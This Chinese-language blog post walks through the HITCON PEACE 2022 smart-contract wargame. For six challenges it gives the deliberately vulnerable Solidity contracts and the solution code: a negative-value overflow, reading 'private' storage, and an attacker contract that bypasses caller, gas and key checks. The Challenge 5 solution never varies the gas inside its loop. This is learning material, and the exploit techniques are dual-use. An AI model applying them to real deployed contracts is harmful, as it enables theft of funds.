← Back to list

HITCON PEACE 2022 Wargame

今年相當高興能夠在HITCON PEACE 2022資安沙龍分享分散式金融安全相關的議題。 今年的Wargame是智慧合約有關的,可以由官方寄出的信件連結加入遊戲。…

Alice Hsu · 2022-08-29 11:06 · 0 claps · 4.9 min read
#hitcon #war-games #smart-contracts
Open on Medium ↗
Wiki topics: CRY · Crypto & Web3

HITCON PEACE 2022 Wargame

今年相當高興能夠在HITCON PEACE 2022資安沙龍分享分散式金融安全相關的議題。 今年的Wargame是智慧合約有關的,可以由官方寄出的信件連結加入遊戲。 網站進去後分小教學跟直接進行挑戰,沒有接觸過的可以看教學,由於之前接觸過錢包,就直接去水龍頭領Rinkeby鏈上的ETH就開始進行挑戰。

Challenge 0

  • 題目敘述: I am glad to see you start the challenge. We are going through the first challenge. First of all, look at the modifierwinCondition , which is our target to win the challenge. To meet the conditions, we have to satisfy the require statement. hint: await contract.methods.<FUNCTION YOU WANT TO CALL>(<PARAMETERS>).send({from:player}) .
pragma solidity ^0.8.10;
contract Vuln0 {
  struct tutorial {
    bool knowPlayerAddress;
    bool knowContractAddress;
    bool knowUint;
  }
  mapping (address => tutorial) solverToTutorial;
  modifier winCondition() {
    require (solverToTutorial[tx.origin].knowPlayerAddress);
    require (solverToTutorial[tx.origin].knowContractAddress);
    require (solverToTutorial[tx.origin].knowUint);
    _;
  }
  function giveMeYourAddress(address _player) public {
    require (_player == tx.origin);
    solverToTutorial[tx.origin].knowPlayerAddress = true;
  }
  function giveMeContractAddress(address _contract) public {
    require (_contract == address(this));
    solverToTutorial[tx.origin].knowContractAddress = true;
  }
  function giveMeUint(uint _num) public {
    require (_num == 13371337);
    solverToTutorial[tx.origin].knowUint = true;
  }
}
  • 解法:
await contract.methods.giveMeYourAddress(player).send({from:player})
await contract.methods.giveMeContractAddress(instance).send({from:player})
await contract.methods.giveMeUint(13371337).send({from:player})
  • NFT:

Chal0

Chal0

Challenge 1

  • 題目敘述: To encode a string, we can use web3.utils.encodePacked. To generate a hash, we can use web3.utils.keccak256 .
pragma solidity ^0.8.10;
contract Vuln1 {
  mapping (address => bool) solverToHitcon;
  modifier winCondition() {
    require (solverToHitcon[tx.origin]);
    _;
  }
  function hitcon(uint _hitcon) public {
    require (_hitcon == uint(keccak256(abi.encodePacked("I love hitcon !!!!!!!!!"))));
    solverToHitcon[tx.origin] = true;
  }
}
  • 解法:
web3.utils.encodePacked("I love hitcon !!!!!!!!!")

web3.utils.encodePacked("I love hitcon !!!!!!!!!")

web3.utils.encodePacked("I love hitcon !!!!!!!!!")

web3.utils.keccak256("0x49206c6f766520686974636f6e20212121212121212121")
>'0x71795e4daa5aefe81406f60afefc923e7d178622c6d6fb2a08d5b12a67af0e81'
await contract.methods.hitcon("0x71795e4daa5aefe81406f60afefc923e7d178622c6d6fb2a08d5b12a67af0e81").send({from:player})
  • NFT:

Chal1

Chal1

Challenge 2

  • 題目敘述: We have to get 10000000000 points, but we can only get at most 10 points in each transaction. What if we try to get negative integer points?
pragma solidity ^0.8.10;
contract Vuln2 {
  mapping (address => uint) solverToPoints;
  modifier winCondition() {
    require (solverToPoints[tx.origin] > 10000000000);
    _;
  }
  function getPoints() public view returns (uint) {
    return solverToPoints[tx.origin];
  }
  function addPoints(int _amount) public {
    require (_amount < 10);
    if (_amount >= 0) {
      solverToPoints[tx.origin] += uint(_amount);  
    } else {
      solverToPoints[tx.origin] += uint(-_amount);  
    }
  }
}
  • 解法:
await contract.methods.addPoints(-20000000001).send({from:player})
  • NFT:

Chal2

Chal2

Challenge 3

  • 題目敘述: Store private variable is not really private on blockchain. We can read slot to get the private variable. For instance, we can use web3.eth.getStorageAt(instance, 0)to read the first slot. Also note that we can use web3.utils.toAscii to convert byte32 to string or web3.utils.fromAscii to convert string to byte32 .
pragma solidity ^0.8.10;
contract Vuln3 {
  bytes32 private password;
  mapping (address => bool) public solverToAuth;
  constructor(bytes32 _password) {
    password = _password;
  }
  modifier winCondition() {
    require (solverToAuth[tx.origin]);
    _;
  }
  function auth(bytes32 _password) public {
    if (password == _password) {
      solverToAuth[tx.origin] = true;
    }
  }
}
  • 解法:
web3.eth.getStorageAt(instance, 0)
await contract.methods.auth('0x686974636f6e5f69735f766572795f676f6f645f4c4c4c4c4c4f4c4c4c4c4c00'
).send({from:player})
  • NFT:

Chal3

Chal3

Challenge 4

  • 題目敘述: We can use online editor Remix to implement the functions plus and minus in an another contract. Then call the submit function by implementing an interface for vuln4 .
pragma solidity ^0.8.10;
interface Homework {
  function plus(uint, uint) external returns (uint);
  function minus(uint, uint) external returns (uint);
}
contract Vuln4 {
  mapping (address => bool) solverToSubmitted;
  modifier winCondition() {
    require (solverToSubmitted[tx.origin]);
    _;
  }
  function submit() public {
    Homework homework = Homework(msg.sender);
    require(homework.plus(15434, 23456543) ==  15434 + 23456543);
    require(homework.plus(987654356, 765456) ==  987654356 + 765456);
    require(homework.plus(7230987, 45654) ==  7230987 + 45654);
    require(homework.minus(987654345678, 8765456) ==  987654345678 - 8765456);
    require(homework.minus(12345, 6789) ==  12345 - 6789);
    require(homework.minus(98765432, 8765432) ==  98765432 - 8765432);
    solverToSubmitted[tx.origin] = true;
  }
}
  • 提示:
hint
pragma solidity ^0.8.0;
interface Vuln4 {
  function submit() external;
}
contract Sol4 {
  function plus(uint a, uint b) public pure returns (uint) {
    // TODO: Implement the plus function here.
  }

  function minus(uint a, uint b) public pure returns (uint) {
    // TODO: Implement the minus function here.
  }
function submit(address _address) public {
    Vuln4(_address).submit();
  }
}
  • 解法:
pragma solidity ^0.8.0;
interface Vuln4 {
  function submit() external;
}
contract Sol4 {
  function plus(uint a, uint b) public pure returns (uint) {
    // TODO: Implement the plus function here.
    return a+b;
  }

  function minus(uint a, uint b) public pure returns (uint) {
    // TODO: Implement the minus function here.
    return a-b;
  }
  function submit(address _address) public {
    Vuln4(_address).submit();

  }
}

submit(contract address)

  • NFT:

Chal4

Chal4

Challenge 5

  • 題目敘述: msg.sender is the caller, which means it can also be a contract instead of wallet address. tx.origin is just the original wallet address to call function. About gas fee, we can observe the gas fee by inspecting Remix or just try 22 times to bruteforce.
pragma solidity ^0.8.10;
contract Vuln5 {
    mapping(address => bool) public crackerList;
    modifier winCondition() {
        require(crackerList[tx.origin] == true);
        _;
    }
    modifier contractGate() {
        require(msg.sender != tx.origin);
        _;
    }
    modifier gasGate() {
        require((gasleft() % 22) == 0);
        _;
    }
    modifier keyGate(bytes8 _gateKey) {
        unchecked {
            require(
                uint64(uint160(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1
            );
        }
        _;
    }
    function crack(bytes8 _gateKey)
        public
        contractGate
        gasGate
        keyGate(_gateKey)
    {
        crackerList[tx.origin] = true;
    }
}
  • 提示:
pragma solidity ^0.8.0;
contract Sol5 {
    address public target;
constructor(address target_) {
        target = target_;
    }

    // Remember to check the transaction GasLimit setting in Metamask.
    // It is suggest to be higher than 400000 if early break is applied.
    // It is suggest to be higher than 1000000 if early break is not applied.
    // Be careful for block maximum gas limit.
    function hack() public {
        bytes8 key;
        unchecked {
            // TODO: Implement the calculation of key value here.
            //       Noted the way to turn contract address into uint64 is uint64(uint160(address(this)))
        }

        // TODO: Implement for looping gas fee here. 
        //// FOR LOOP gasfee for at least 22 times {

            (bool success, ) = target.call{gas: gasfee + 30000}(
                abi.encodeWithSignature("crack(bytes8)", key)
            );
if (success) {
                break;
            }
//// }
    }
}
  • 解法:
/* SPDX-License-Identifier:Alice*/
pragma solidity ^0.8.0;
contract Sol5 {
    address public target;
    constructor(address target_) {
        target = target_;
    }

    // Remember to check the transaction GasLimit setting in Metamask.
    // It is suggest to be higher than 400000 if early break is applied.
    // It is suggest to be higher than 1000000 if early break is not applied.
    // Be careful for block maximum gas limit.
    function hack() public {
        bytes8 key;
        unchecked {
            // TODO: Implement the calculation of key value here.
            //       Noted the way to turn contract address into uint64 is uint64(uint160(address(this)))
            key = bytes8(uint64(uint160(address(this))) ^ (uint64(0) - 1));
        }

        // TODO: Implement for looping gas fee here. 
        for(int i=0;i<22;i++){
            uint gasfee = 0;

            (bool success, ) = target.call{gas: gasfee + 4000000}(
                abi.encodeWithSignature("crack(bytes8)", key)
            );
            if (success) {
                break;
            }
        }
    }
}

deploy contract>hack

  • NFT:

Chal5

Chal5


메타데이터
post_id
74a72d57098c
slug
hitcon-peace-2022-wargame-74a72d57098c
url
https://medium.com/@Alice_Hsu/hitcon-peace-2022-wargame-74a72d57098c
canonical_url
https://medium.com/@Alice_Hsu/hitcon-peace-2022-wargame-74a72d57098c
author_url
https://medium.com/@Alice_Hsu
status
ok
fetched_at
2026-07-26 17:39:23